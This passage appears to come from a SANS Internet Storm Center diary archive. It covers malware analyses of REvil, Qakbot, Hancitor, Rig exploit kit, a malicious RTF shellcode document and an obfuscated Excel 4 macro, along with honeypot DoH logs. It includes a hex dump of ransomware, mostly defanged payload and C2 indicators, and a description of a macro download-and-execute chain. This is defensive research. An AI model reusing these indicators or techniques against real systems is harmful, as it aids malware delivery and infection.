remnux@remnux:/mnt/hgfs/MalwareZoo/20210116$ xxd -s +1900 shellcode.tmp |head -20
0000076c: 8b44 1624 8d04 580f b70c 108b 4416 1c8d  .D.$..X.....D...
0000077c: 0488 8b04 1003 c2eb db4d 5a90 0003 0000  .........MZ.....
0000078c: 0004 0000 00ff ff00 00b8 0000 0000 0000  ................
0000079c: 0040 0000 0000 0000 0000 0000 0000 0000  .@..............
000007ac: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000007bc: 0000 0000 00f0 0000 000e 1fba 0e00 b409  ................
000007cc: cd21 b801 4ccd 2154 6869 7320 7072 6f67  .!..L.!This prog
000007dc: 7261 6d20 6361 6e6e 6f74 2062 6520 7275  ram cannot be ru
000007ec: 6e20 696e 2044 4f53 206d 6f64 652e 0d0d  n in DOS mode...
000007fc: 0a24 0000 0000 0000 00c5 3aa4 0881 5bca  .$........:...[.
0000080c: 5b81 5bca 5b81 5bca 5bba 05cf 5a80 5bca  [.[.[.[.[...Z.[.
0000081c: 5bba 05c9 5a82 5bca 5bba 05ce 5a80 5bca  [...Z.[.[...Z.[.
0000082c: 5b5c a404 5b80 5bca 5b5c a401 5b86 5bca  [\..[.[.[\..[.[.
0000083c: 5b81 5bcb 5ba3 5bca 5b5c a41a 5b80 5bca  [.[.[.[.[\..[.[.
0000084c: 5b16 05ce 5a9b 5bca 5b16 05c8 5a80 5bca  [...Z.[.[...Z.[.
0000085c: 5b52 6963 6881 5bca 5b00 0000 0000 0000  [Rich.[.[.......
0000086c: 0000 0000 0000 0000 0050 4500 004c 0105  .........PE..L..
0000087c: 0012 c4bf 5f00 0000 0000 0000 00e0 0002  ...._...........
0000088c: 210b 010e 0000 b800 0000 2201 0000 0000  !.........".....
0000089c: 001e 4300 0000 1000 0000 d000 0000 0000  ..C.............

Let’s extract this executable and have a look at it. Let’s skip the non-interesting bytes:

remnux@remnux:/mnt/hgfs/MalwareZoo/20210116$ tail -c +1926 shellcode.tmp >shellcode.exe

The PE file (SHA256:2fc374346290aaf1060840a5125d9867f99d192b03bfbef94268c2b679d6f905) is unknown on VT but it’s a REvil ransomware. How did I learn this easily?

When I’m teaching the SANS FOR610[4] class about malware analysis, I like to insist on the importance of using a lab completely disconnected from other networks because some weird things may (will!) happen… Because a picture is worth a thousand words, have a look at my lab:

I simply put a breakpoint in my debugger… at the wrong place! I executed the code and the breakpoint was never reached but the ransomware did the job.

About the ransomware itself, the ransomware notifies the victim (via a classic readme file) that files have been encrypted but also exfiltrated. As proof, they provide some URLs:

[+] Your secret data [+]

We have uploaded all your private information, if no payment comes from you, we will post



My sandbox being offline (network disconnected), there was no way to upload sample files to a cloud service. Files are just fake ones and do not belong to the victim!

I tried to run the ransomware again, this time with a fake network, and no network traffic was generated. The URLs with files remain the same, like hardcoded. Finally, I visited the Onion website provided in the readme file:

They provide a tool to submit some files to prove they can decrypt them and it worked. My REMnux wallpaper was decrypted! Ouf!

Based on these screenshots, we have indeed a REvil or Sodinokibi as described Talos last year in a blog post[5] but this time, it seems the way the attackers drop the malware changed... 

[1] https://devblogs.microsoft.com/scripting/beginning-use-of-powershell-runspaces-part-1/
[2] https://www.virustotal.com/gui/file/e1e19d637e6744fedb76a9008952e01ee6dabaecbc6ad2701dfac6aab149cecf/detection
[3] https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
[4] https://www.sans.org/cyber-security-courses/reverse-engineering-malware-malware-analysis-tools-techniques/
[5] https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2021-01-20

Qakbot activity resumes after holiday break


Although the botnet infrastructure behind Qakbot was active as we entered this year, we hadn't seen any active campaigns spreading Qakbot.  Qakbot had been quiet since a few days before Christmas.  We saw no new malicious spam (malspam), and we saw no new Excel spreadsheets that we typically find during active campaigns.

It had been relatively quiet for Qakbot until Tuesday 2021-01-19, when we started seeing malicious spam (malspam) pushing Qakbot again.  @BushidoToken tweeted about it here.

Today's diary examines a Qakbot infection from Tuesday 2021-01-19.

Shown above:  Flow chart for recent Qakbot activity.

The malspam

No changes here.  Qakbot malspam typically spoofs stolen email chains from previously-infected Windows hosts, and it feeds the data to currently-infected Windows hosts that send new malspam pushing updated files for Qakbot.  See the image below for an example from Tuesday 2021-01-19.

Shown above:  An example of Qakbot malspam from Tuesday 2021-01-19.

Shown above:  Screenshot from one of the spreadsheets I used to infected a Windows host with Qakbot.

Infection traffic

See the images below for my analysis of network traffic from the Qakbot infection.

Shown above:  Traffic from the Qakbot infection filtered in Wireshark.

Shown above:  Excel macro retrieving the initial DLL file for Qakbot.

Shown above:  More post-infection activity from the Qakbot-infected Windows host.

Shown above:  Traffic over TCP port 65400 caused by Trickbot.

Shown above:  Certificate issuer data for HTTPS traffic caused by Qakbot (example 1 of 3).

Shown above:  Certificate issuer data for HTTPS traffic caused by Qakbot (example 2 of 3).

Shown above:  Certificate issuer data for HTTPS traffic caused by Qakbot (example 3 of 3).

Forensics on infected Windows host

See the images below for my forensic investigation on the infected Windows host.

Shown above:  Initial Qakbot DLL saved to the infected Windows host.

Shown above:  Other artifacts from the infected Windows host.

Shown above:  Windows registry updates caused by Qakbot on the infected host.

Indicators of Compromise (IOCs)

SHA256 hash: 8ebba35fa60f107aa4e19fa39ae831feab4ffb1718bdca016670d3898b2fe4fc

  • File size: 25,543 bytes
  • File name: Complaint_Copy_1206700885_01192021.xlsm
  • File description: Spreadsheet with macro for Qakbot

SHA256 hash: f9560829534803161c87666795f0feab028ff484fac5170b515390b50e8050fd

  • File size: 1,545,688 bytes
  • File location: hxxp://senzo-conseil-expat[.]fr/bqkckb/5555555555.jpg
  • File location: C:\Users\[username]\AppData\Roaming\KKEEDTT.DEEREDTTDVD
  • File description: Initial DLL for Qakbot
  • Run method: rundll32.exe [filename],DllRegisterServer

HTTP request caused by Excel macro to retrieve DLL for Qakbot:

  • 51.210.14[.]58 port 80 - senzo-conseil-expat[.]fr - GET /bqkckb/5555555555.jpg

HTTPS traffic from the infected host:

  • 95.76.27[.]6 port 443
  • 185.14.30[.]127 port 443
  • 172.115.177[.]204 port 2222

Web traffic connectivity checks from the infected host (HTTPS traffic):

  • port 443 - www.openssl.org
  • port 443 - api.ipify.org

TCP traffic from the infected host:

  • 54.36.108[.]120 port 65400

Connectivity checks to mail servers from the infected host:

  • port 993 - imap.gmail.com
  • port 25 - smtp-relay.gmail.com
  • port 465 - smtp-relay.gmail.com
  • port 587 - smtp-relay.gmail.com
  • port 110 - mail.myfairpoint.net
  • port 143 - mail.myfairpoint.net
  • port 995 - inbound.att.net

Certificate issuer data for HTTPS traffic to 95.76.27[.]6 over TCP port 443:

  • id-at-countryName=NL
  • id-at-stateOrProvinceName=ED
  • id-at-localityName=Dadoe
  • id-at-organizationName=Letx Uqe Dzcmtewzs Kctonlfg Inc.
  • id-at-commonName=epeivate.biz

Certificate issuer data for HTTPS traffic to 185.14.30[.]127 over TCP port 443:

  • id-at-countryName=US
  • id-at-stateOrProvinceName=NY
  • id-at-localityName=New York
  • id-at-organizationName=cloudservers03.com
  • id-at-commonName=cloudservers03.com

Certificate issuer data for HTTPS traffic to 172.115.117[.]204 over TCP port 2222:

  • id-at-countryName=DE
  • id-at-stateOrProvinceName=IQ
  • id-at-localityName=Aeur
  • id-at-organizationName=Cepasduq Nqo Ooifzetkp Mqen
  • id-at-commonName=ltxkvijevns.com

Final words

A pcap of the infection traffic along with malware (Excel file and DLL) from an infected host can be found here.

Brad Duncan
brad [at] malware-traffic-analysis.net


Published: 2021-01-19

Gordon for fast cyber reputation checks

Gordon quickly provides threat & risk information about observables

Gordon is a great website for security analysis and threat intelligence practitioners courtesy of Marc-Henry Geay of France.
It’s a fine offering that quickly provides threat and risk information about observables such as IPv4 addresses, URLs, Domains/FQDNs, MD5, SHA-1, SHA-256 hashes, or email addresses.

All aspirations and architecture for Gordon are available in Marc-Henry’s Medium post, as well as his About content.
You really need only know the following in any detail:

  • Gordon submits your observables (IOCs) to multiple sources (30+ engines) to ensure good coverage.
  • Observables are only searched in open security databases’ existing records (passive).
  • Results can be viewed and shared for up to 3 days, thereafter they are deleted, Marc-Henry has EU privacy regulations to contend with.
  • Results are available as Summary Reports with risk-based coloration for some engines, and can be exported as PDF, CSV, and XLSX.

I gave Gordon a quick test using IPv4 IOCs from the Cisco Talos Threat Advisory: SolarWinds supply chain attack. Gordon limits you to 15 observables at most, and note that it favors non-Microsoft browsers, so I experimented via Firefox. Using ten IP IOCs, separated one per line, I received swift results as seen in Figure 1.


Figure 1: Gordon IPv4 SUNBURST results

As noted, Figure 1: shows IPvs SUNBURST IOC results that are precise and color coded by risk.
Using ten SHA-256 hashes from the Talos report for my next query I opted to export the results as an Excel document, then sorted by malicious results only.


Figure 2: Gordon SHA-256 query results

Again, the SUNBURST SHA-256 IOC results are robust and detailed. I’ve certainly added Gordon to my favorites list and suggest you consider doing the same.

Cheers…until next time.

Russ McRee | @holisticinfosec


Published: 2021-01-18

Doc & RTF Malicious Document

A reader pointed us to a malicious Word document.

First, I run my strings.py command on it, with option -a to get statistics (see my diary entry "Strings 2021").

There aren't any long strings in this file (the longest is 33 characters). So there isn't a payload here that we can extract directly, like we did in diary entry "Maldoc Strings Analysis".

Let's check if there are URLs in this file, by grepping for http:

Unfortunately, none.

Let's take a look at the longest strings (-n 20: strings at least 20 characters long):

If you are a bit familiar with the internals of Word documents, you might recognize this as the name of XML files found inside OOXML files (.docx, .docm, .xlsx, ...).

Let's try oledump.py:

This means that there are no OLE files inside this OOXML file, hence no VBA macros.

Since an OOXML is an OPC file, e.g. a ZIP container, let's take a look with my tool zipdump.py:

It looks like this OOXML file only contains XML files (extensions .xml and .rels). Let's verify by getting statistics of the content of the contained files, by using option -e:

Here is a close look on the statisctics:

All contained files starts with <?xm and have only printable ASCII characters (except one file with 90 bytes >= 127).

So we have no binary files in here, just text files. One possible scenario, is that this .docx file contains a reference (URL) to a malicious payload.

Next step, is to extract all files and search for URLs in them. Now, in Office OOXML files, you will find a lot of legitimate URLs. To get an idea of what type of URLs we have in this document, we use my re-search.py tool to extract URLs, and display a unique list of hostnames found in these URLS, like this:

The following hostnames are legitimate, and found in Office OOXML files:


But the IP address is not. So let's extract the full URLs now, and grep for 104:

I downloaded this document. Let's start again with strings:

4555 characters long: this might be a payload. Let's take a look:

This looks like a lot of hexadecimal data. That's interesting. And notice the 3 curly braces at the end. Hexadecimal data and curly braces: this might be a malicious RTF document. Let's check with the file command (I use my tool file-magic.py on Windows):

This is indeed an RTF file. RTF files can not contain VBA code. If they are malicious, they often contain an exploit, stored as (obfuscated) hexadecimal characters inside the RTF file. Hence the strings command will not be of much use.

I recently updated my tool rtfdump.py to make analysis of embedded objects (like malicious payloads) easier. We use the new option -O to get an overview of all objects found inside this RTF file:

There's one object with name equation... . It's very likely that this is an exploit for the equation editor, and that we have to extract and analyze shellcode.

Let's extract this payload and write it to a file:

Let's see if there are some intesting strings:

Nothing interesting.

The equation editor that is targeted here, only exists as a 32-bit executable. Hence the shellcode must also be 32-bit, and we can use the shellcode emulator scdbg to help us.

We use option -f findsc to let scdbg search for entrypoints, option -r to produce a report, and -f shellcode to pass the shellcode file for analysis:

The shellcode emulator found 4 entry points (numbered 0 to 3). I select entry point 0. This results in the emulation of shellcode, that calls the Win32 API (GetProcAddress, ...). This is clearly 32-bit Windows shellcode. And it decodes itself into memory. We can use option -d to dump the decoded shellcode:

This creates a file: shellcode.unpack. Let's use strings again on this file:

This looks more promising. What are the longest strings:

And finally, we have our URL.




Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2021-01-17

New Release of Sysmon Adding Detection for Process Tampering

Version 13.01 of Sysmon was released, a Windows Sysinternals tool to monitor and log system activity.

This version adds detection for process tampering, like process hollowing and process herpaderping. You use ProcessTampering in your configuration to activate it.

Here is an example of process hollowing detection:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2021-01-15

Obfuscated DNS Queries

This week I started seeing some URL with /dns-query?dns in my honeypot[1][2]. The queries obviously did not look like a standard DNS queries, this got me curious and then proceeded to investigate to determine what these DNS query were trying to resolve.

But before proceeding, I have logs going back to May 2018 and reviewed the logs to see when this activity was first captured. The first time the honeypot logged something similar was in February 2020 with one long query that was different to all other queries. All the logs are targeting TCP/443 and are unencrypted.

Using base64 URL safe option in CyberChef, I was able to decode the DNS information for the 3 different queries. The first query captured in February 2020 appears to be a test (see decoded information below). The other two resolve to a URL: one as a test (www.example[.]com) and the other to Baidu search engine (www.baidu[.]com).

Sample Logs

  • tcp-honeypot-20200212-195552.log:20200226-230039: data 'GET /dns-query?dns=AAABAAABAAAAAAAAAWE-NjJjaGFyYWN0ZXJsYWJlbC1tYWtlcy1iYXNlNjR1cmwtZGlzdGluY3QtZnJvbS1zdGFuZGFyZC1iYXNlNjQHZXhhbXBsZQNjb20AAAEAAQ HTTP/1.1\r\nHost: XX.30.102.198:443\r\nConnection: close\r\nAccept-Encoding: gzip\r\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36\r\n\r\n'
  • tcp-honeypot-20200413-081332.log:20200413-171212: data 'GET /dns-query?dns=AAABAAABAAAAAAAAA3d3dwdleGFtcGxlA2NvbQAAAQAB HTTP/1.1\r\nHost: XX.30.102.198\r\nUser-Agent: Go-http-client/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n'


  • 20210112-110540: data 'GET /dns-query?dns=AAABAAABAAAAAAAAA3d3dwViYWlkdQNjb20AAAEAAQ HTTP/1.1\r\nHost: XX.49.33.78\r\nUser-Agent: Go-http-client/1.1\r\nAccept: application/dns-message\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n'
  • 20210113-040125: data 'GET /dns-query?dns=AAABAAABAAAAAAAAA3d3dwViYWlkdQNjb20AAAEAAQ HTTP/1.1\r\nHost: XX.49.33.78\r\nUser-Agent: Go-http-client/1.1\r\nAccept: application/dns-message\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n'

Base64 Decoded Queries

  • AAABAAABAAAAAAAAAWE-NjJjaGFyYWN0ZXJsYWJlbC1tYWtlcy1iYXNlNjR1cmwtZGlzdGluY3QtZnJvbS1zdGFuZGFyZC1iYXNlNjQHZXhhbXBsZQNjb20AAAEAAQ .............a>62characterlabel-makes-base64url-distinct-from-standard-base64.example.com.....
  • AAABAAABAAAAAAAAA3d3dwViYWlkdQNjb20AAAEAAQ   .............www.baidu.com.....
  • AAABAAABAAAAAAAAA3d3dwdleGFtcGxlA2NvbQAAAQAB .............www.example.com.....

DNS Queries by Base64 String

  • IP Activity resolving to www.example[.]com has been active since April 2020 with 2 packets per month.
  • User-Agent → Mozilla/5.0 (compatible; DNSResearchBot/2.1; +



  • IP Activity resolving to www.baidu[.]com only started in December 2020 and has been active since then.
  • User-Agent → Go-http-client/1.1



  • IP Activity resolving to 62characterlabel-makes-base64url-distinct-from-standard-base64.example.com only seen once in February 2020 which appears to be only a test.
  • Something interesting, 62characterlabel-makes-base64url-distinct-from-standard-base64 is equal to 62 characters
  • User-Agent → Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36



Do you have similar obfuscated DNS queries in your logs? Please use our comment form to share them.

Update 1: @DissectMalware pointed out these queries are DNS Queries over HTTPS (DoH) matching RFC 8484

[1] https://github.com/DidierStevens/Beta/blob/master/tcp-honeypot.py
[2] https://www.inetsim.org/documentation.html
[3] https://gchq.github.io/CyberChef/
[4] https://tools.ietf.org/html/rfc8484
[5] https://media.defense.gov/2021/Jan/14/2002564889/-1/-1/0/CSI_ADOPTING_ENCRYPTED_DNS_U_OO_102904_21.PDF
[6] https://isc.sans.edu/forums/diary/Is+it+Possible+to+Identify+DNS+over+HTTPs+Without+Decrypting+TLS/25616/

Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu


Published: 2021-01-15

Throwback Friday: An Example of Rig Exploit Kit


As this week winds down, I wanted to highlight a threat that's significantly diminished in recent years.  For today's #ThrowbackFriday, I'm reviewing an example of Rig exploit kit (EK) generated yesterday on Thursday 2021-01-14.

History of Rig EK

EKs are a malware distribution method.  They're channels to send malware to vulnerable Windows hosts.  An EK's payload is Windows-based malware.

Rig EK was discovered in 2014, back when EKs were much more common than today.  Like other EKs in 2014, Rig exploited Internet Explorer (IE) and browser-based applications that worked with IE like Java, Flash, and Silverlight.  Since then, people have increasingly moved to other browsers like FireFox and Chrome.  Because of this, EK activity began to decline.

Windows 10 was introduced in 2015 with Microsoft Edge as its default browser.  As more people switched to Windows 10, some EKs disappeared.  Rig EK continued to decline, with a substantial drop in 2017.  By 2018, Rig EK was one of only a few remaining EKs.  Today, people still discover examples of Rig EK, but it's only effective against out-of-date hosts running Windows 7 and using IE.

To prepare for throwback Friday, I fired up a vulnerable Windows 7 host, opened IE 11, and entered a URL that led to Rig EK.

Gate to Rig EK

An HTTPS gate that leads to Rig EK has been active since December 2020:

  • hxxps://anklexit[.]online/twDGMjtfsacfa3e

On 2020-12-24, @nao_sec tweeted an example of Rig EK pushing SmokeLoader that contained the above URL.  Earlier this month, Rig EK from the same gate pushed Dridex.

URLs like this act as a gate to an EK.  This gate wouldn't direct me to Rig EK when I tried it through a VPN.  However, tethering through my phone worked.  These gates are somewhat picky.  Use the gate once, and it might work.  But try it again from the same IP address, and it prevents you from reaching the EK again.  You generally have to wait 12 to 24 hours before the gate will work again, if you're coming from the same IP address.

Traffic from an infection

See the below images for traffic from the infection.

Shown above:  Traffic from the infection filtered in Wireshark.

Shown above:  Rig EK landing page shown in an HTTP stream.

Shown above:  Dridex installer EXE sent by Rig EK as an encrypted binary.

Shown above:  Certificate issuer data for HTTPS traffic generated by Dridex installer.

To get a better understanding of Dridex infection traffic, see this Wireshark tutorial I wrote about it last year.

Forensics on an infected Windows host

While the Rig EK payload (an EXE to install Dridex) generated HTTPS command and control (C2) traffic, it wasn't able to install Dridex on the victim host.  So I only saw the Dridex installer EXE.  I also captured a small file (approx 1 kB) of JavaScript text used by Rig EK before it was deleted during the infection process.

Shown above:  Artifacts from the infection caused by Rig EK.

Indicators of Compromise (IOCs)

The following are indicators from this infection.

Traffic from an infected Windows host:

  • 188.225.75[.]54 port 443 - anklexit[.]online - HTTPS URL - gate to Rig EK
  • 188.227.106[.]164 port 80 - 188.227.106[.]164 - Rig EK
  • 162.241.44[.]26 port 9443 - HTTPS traffic caused by Dridex installer
  • 185.184.25[.]234 port 4664 - attempted TCP connection caused by Dridex installer
  • 138.201.138[.]91 port 3389 - attempted TCP connection caused by Dridex installer

Certificate issuer data from Dridex HTTPS traffic to 162.241.44[.]26 over TCP port 9443:

  • id-at-countryName=DS
  • id-at-stateOrProvinceName=Tholend finck4
  • id-at-localityName=Khartoum
  • id-at-organizationName=Antymasu PEEC
  • id-at-commonName=anompatof.rip

Malware/artifacts from the infected Windows 7 host:

SHA256 hash: 209093c71d0e87df00a290c588a5147e1e14023402f317d7903c6402d52a87ee

  • File size: 98,819 bytes
  • File location: hxxp://188.227.106[.]164/?MzA1NTIz&pwDDc&AcAZl=pinny.866&shghfg[long string]
  • File description: HTML for Rig EK landing page

SHA256 hash: f14c7ba0240be3456164dd63f53dd4bc7eb34bcdb1ac26e98a623edc0390b56b

  • File size: 1,152 bytes
  • File location: C:\Users\[username]\AppData\Local\Temp\3.tMp
  • File description: JavaScript text file dropped by Rig EK

SHA256 hash: 0376f97c21d2f00bc9c0919ce108ef14a2b3b1b356b2caa502a6cae81c7798f2

  • File size: 1,198,592 bytes
  • File location: C:\Users\[username]\AppData\Local\Temp\jv9qx.exe
  • File description: Rig EK payload, Windows EXE to install Dridex malware

Final Words

Pcap and malware/artifacts for this diary can be found here.

I wonder how it long this method of malware distribution will remain profitable.  Apparently, enough people currently use out-of-date vulnerable Windows hosts.  I guess this presents a big enough target base for the people behind Rig EK.

Every time I find Rig EK, I think back to all the entries I posted on my blog from 2013 through 2016 featuring Rig and other EK infections.  That's why I consider today's diary a #ThrowbackFriday.

Brad Duncan
brad [at] malware-traffic-analysis.net


Published: 2021-01-14

Dynamically analyzing a heavily obfuscated Excel 4 macro malicious file

Recently I had to analyze an Excel malicious file that was caught in the wild, in a real attack. The file was used in a spear phishing attack where a victim was enticed into opening the file with Excel and, of course, enabling macros.

The image below shows what the file looks like when opened in Excel:

Malicious document

As you can see, it is a very common malicious Excel file where the victim is supposed to click on the Enable content button to see the document. Of course, once the victim does that it is game over and the machine gets infected. My goal was to analyze the malicious Excel file to identify what exactly it is doing.

Typically, the first step to analyze such a document would be verify macros with Didier’s oledump.py tool, which is the de-facto standard malicious document analysis tool (the FOR610 instructors are joking that Day 3 of FOR610 is Didier’s day, since he wrote so many useful tools).

However, as you can see below, I was a bit disappointed to see that there are no macros – this normally means that the attacker is using Excel 4 macros – an old way of creating active content:

$ python3 oledump.py ~/source.xls 
  1:      4096 '\x05DocumentSummaryInformation'
  2:      4096 '\x05SummaryInformation'
  3:    162264 'Workbook'

Both Didier and Xavier wrote a number of diaries about analyzing Excel 4 macros (available here and here), so the next step was to use the BIFF plugin Didier wrote, which allows output of BIFF records – these hold Excel 4 macros (formulas really), so let’s do that:

BIFF plugin outputOk, we’re getting somewhere, however there were thousands of lines like this in the output:

ErrorsNot nice. This means that Didier’s BIFF plugin does not know how to parse these bytes, which define a currently unknown formula. Didier also wrote about another tool that can be used to deobfuscate malicious Excel files, XLMMacroDeobfuscator (read the diary here) so I thought about trying that as well:

XLMDeobfuscatorHmm, a bit better but we still do not know what exactly this file is doing. There are two important things we can see in XLMMacroDeobfuscator’s output though:

  1. First, we can see that there is a cell with the name of Auto_Open. The contents of this cell will be executed (if it is a formula) automatically when this Excel file is open, after the user has clicked on the Enable content button, of course.
  2. Second, we can see that the last two functions that are called are WORKBOOK.UNHIDE and WORKBOOK.HIDE. These do exactly as their names say – they will hide one workbook and unhide another – this will result in the final, decoy content to be shown to the victim (no screenshot, sorry, as it contains sensitive information about the target).

Armed with this knowledge I wanted to dig further into the file. While most researchers might prefer static analysis since it is safer, in this case such analysis might be very difficult or time consuming. The main reason is that the tools we have on our disposal failed to completely parse the document (as shown above) and, besides this, the file is heavily obfuscated with a number of formulas and calculations that are performed automatically by Excel.

So, I decided to go with dynamic analysis of the file – cool thing is that, at least for this case, we do not need any other tools but Excel. Of course, by running malicious code we will be putting ourselves to risk, so if you ever need to perform a similar analysis, make sure that you do it in a VM, without Internet access (or you will be really living on the edge).

Since this malicious document does not have a VBA macro, it relies on executing formulas. Excel will generally execute formulas top to bottom in a column, then move to the next column and so on. This does not necessarily has to be in this order, but in all cases I have checked it was. Our first step will be to find the cell (formula) that gets executed first – XLMMacroDeobfuscator already told us that it is a cell in the “Sheet_vrg” tab of this document, and that the cell is $HV$19420 (column HV, row 19420). We can also see this by opening the malicious file in Excel (notice I am not enabling content yet!) and then going to Formulas -> Name Manager. We will see this very same cell displayed, as shown in the figure below:

Excel Name Manager

Let’s scroll now to this cell to see what its contents look like:


Aha – this is actually what XLMMacroDeobfuscator showed to us, but it partially evaluated the contents so we still do not know what this code actually does. So let’s see how we can dynamically analyze this document. Excel actually allows us to manually evaluate any formula shown in the document. All we have to do is right click on a cell, but the catch-22 here is that we have to click on Enable content in order to do that, and by doing this we will execute the malicious macro.

The solution is, luckily, relatively simple. A function called HALT() exists that does exactly what the name says, so we can manually insert this function in a free cell and then change the Auto_Open name to point to our cell. What’s even better – in the image above you can see that there is already a cell with the =HALT() function (it’s the last one), so let’s just change Auto_Open to that cell:


Now we can safely click on the Enable content button and nothing will happen! We will stop at the =HALT() function but we can now inspect other cells and contents around this file.

Since the document is heavily obfuscated, we will want to somehow debug it – single step through it. In this particular case, this was not all that difficult, but keep in mind that with a very complex and obfuscated document, the following activities might be more difficult to perform (but still easier than performing static analysis).

What we will want to do here is (ab)use the =HALT() function to execute a formula in a single cell and then stop the execution. This will allow us to examine what happened, evaluate the formula and continue. In the example below, you can see that I copied contents of all cells under the first one (the original Auto_Open cell) and put =HALT() in the cell immediately after the first one. This will cause Excel to stop processing formulas:

We can now use Excel’s built-in evaluation. In order to do that we will right click on the first cell, select Run and then Step Into. This is what we will get:

Pretty cool! Notice that nice “Evaluate” button? Let’s see what it does:

So this is what the first cell does! Depending on how complex this is, we might need to click on “Step Into”, which will take us further down the rabbit hole (Hi Neo!) and we will start evaluating whatever is under this particular function. Since I was impatient I clicked on “Continue” – remember that I put our “breakpoint” with the =HALT() function and this will be kind of similar to pressing F9 in your debugger.

In this document there was a bunch of functions called by the top one – most of them actually deobfuscated various content which is now populated in “new” cells in this worksheet. Keep this in mind – a nasty document could actually change contents of our =HALT() cell, which would lead to the payload fully executing.

Since it was not the case here, we continue by shifting the =HALT() breakpoint to the next row, like this:

You can probably guess what we’ll do next – right click on the =REGISTER() cell, click on Run then Step Into, and this is what we get:

Let’s Evaluate this again – it should work because the cell that got executed before populated what this (currently executing) cell needs:

Interesting! The REGISTER() function allows us to create a defined name which will point to a function in an external DLL. Sounds fantastic for the attacker – what they are doing here is create a name called “bBpmgyvS” which will point to the CreateDirectoryA function in the Kernel32.dll library. It is quite clear that the attacker will want to create a directory on the local machine.

And now it is rinse and repeat – we use the same method to evaluate all other cells until we figure out what the document is doing. The one I was analyzing uses the same mechanism to create another name that points to URLDownloadToFileA from the URLMON.dll library, which is used to download the second stage binary.
The same mechanism is again used to create a name that points to ShellExecuteA function from the Shell32.dll library which executes the downloaded binary.

At the end, the attacker hides this sheet and shows a decoy one.

And this leads us to the end of this diary/tutorial. I hope you found it interesting and useful, and that it will help someone analyze such heavily obfuscated Excel 4 macro malicious files which, this time with help of Microsoft’s own Excel can be relatively easily dynamically analyzed.

Finally, I have to stress out one more time that you should be ultra careful when performing such an analysis since we will be executing malicious code.



Published: 2021-01-13

Hancitor activity resumes after a hoilday break


Campaigns spreading Hancitor malware were active from October through December 2020, but Hancitor went quiet after 2020-12-17.  On Tuesday 2021-01-12, criminals started sending malicious spam (malspam) pushing Hancitor again.  Some people have already tweeted about this year's first wave of Hancitor.  See the links below.

Today's diary reviews recent Hancitor activity from Tuesday 2021-01-12, where we also saw Cobalt Strike after the initial infection.

Shown above:  Flow chart for recent Hancitor infection activity.

The malspam

On Tuesday 2021-01-12, malspam spreading used the same fake DocuSign template we saw several times last year.  These emails have a link to a Google Docs page.

Shown above:  Screenshot from one of the emails distributing Hancitor on Tuesday 2021-01-12.

Shown above:  Link from the email redirects to a page that can generate a Word document for Hancitor.

Shown above:  Word document with macros for Hancitor.

Infection traffic

As you might expect, traffic to the Google Docs page and clicking on the link generates a great deal of related web activity, mostly HTTPS traffic. Shortly after the Word document is sent, we find indicators of Hancitor and Cobalt Strike malware.  I've always seen Cobalt Strike when I test Hancitor in an Active Directory (AD) environment.  if you're investigating an actual Hancitor infection, be aware that it will likely send Cobalt Strike if the victim host is signed into an work environment that uses AD.

Shown above:  Traffic caused by the Google Docs page before the infection filtered in Wireshark.

Shown above:  Hancitor and Cobalt Strike traffic within an AD environment.

Indicators of Compromise (IOCs)

The following are indicators associated with Hancitor infections from Tuesday 2021-01-12.

Date/time of the six messages:

  • Tue, 12 Jan 2021 15:06:25 +0000 (UTC)
  • Tue, 12 Jan 2021 16:06:06 +0000 (UTC)
  • Tue, 12 Jan 2021 16:41:01 +0000 (UTC)
  • Tue, 12 Jan 2021 16:48:35 +0000 (UTC)
  • Tue, 12 Jan 2021 17:09:10 +0000 (UTC)
  • Tue, 12 Jan 2021 18:06:56 +0000 (UTC)

IP addresses the malspam was received from:

  • Received: from digital-negative.com ([])
  • Received: from digital-negative.com ([])
  • Received: from digital-negative.com ([])
  • Received: from digital-negative.com ([])
  • Received: from digital-negative.com ([])
  • Received: from digital-negative.com ([])

Spoofed sending addresses:

  • From: "DocuSign Signature  Service" <qybacy@digital-negative.com>
  • From: "DocuSign Signature and Invoice" <iqinica@digital-negative.com>
  • From: "DocuSign Electronic Signature and Invoice Service" <eupanic@digital-negative.com>
  • From: "DocuSign Electronic Signature " <uvizao@digital-negative.com>
  • From: "DocuSign Signature  Service" <nuxzoj@digital-negative.com>
  • From: "DocuSign Electronic Signature  Service" <zwtmicy@digital-negative.com>

Subject lines:

  • Subject: You received notification from DocuSign Electronic Service
  • Subject: You received notification from DocuSign Service
  • Subject: You got notification from DocuSign Electronic Signature Service
  • Subject: You got invoice from DocuSign Electronic Signature Service
  • Subject: You got notification from DocuSign Service
  • Subject: You received notification from DocuSign Electronic Signature Service

Links from the malspam:

  • hxxps://docs.google[.]com/document/d/e/2PACX-1vSEfjWipv61XyrbNDn1neBUGeHzEPM35pYN5QRYrpUy4X-sbHybYEZ7-b6Zf8yGyA_1e4wNj452FD_O/pub
  • hxxps://docs.google[.]com/document/d/e/2PACX-1vTiMxxKYdtOy98JFAiBaNe1W-VVdRGcZOZurDYA1jhcat-mcbcA8Uw7m_v4BvJ-H3o9m7ML_TtRNPQP/pub
  • hxxps://docs.google[.]com/document/d/e/2PACX-1vShuUk4DvIVthVxqc8UIUgZ7hOQzBQ1Dop8sXP73qBfS-JrlSrdIaZslExSyrr459kvaMmWbOAUkYii/pub
  • hxxps://docs.google[.]com/document/d/e/2PACX-1vRQ8skYzE8fzy9FnmU06fNCSEBTGwdYCxE1_NyLjxTCG7uEhpFtmI_IWAtk1FFmuQyAReDSuUCdyCFs/pub
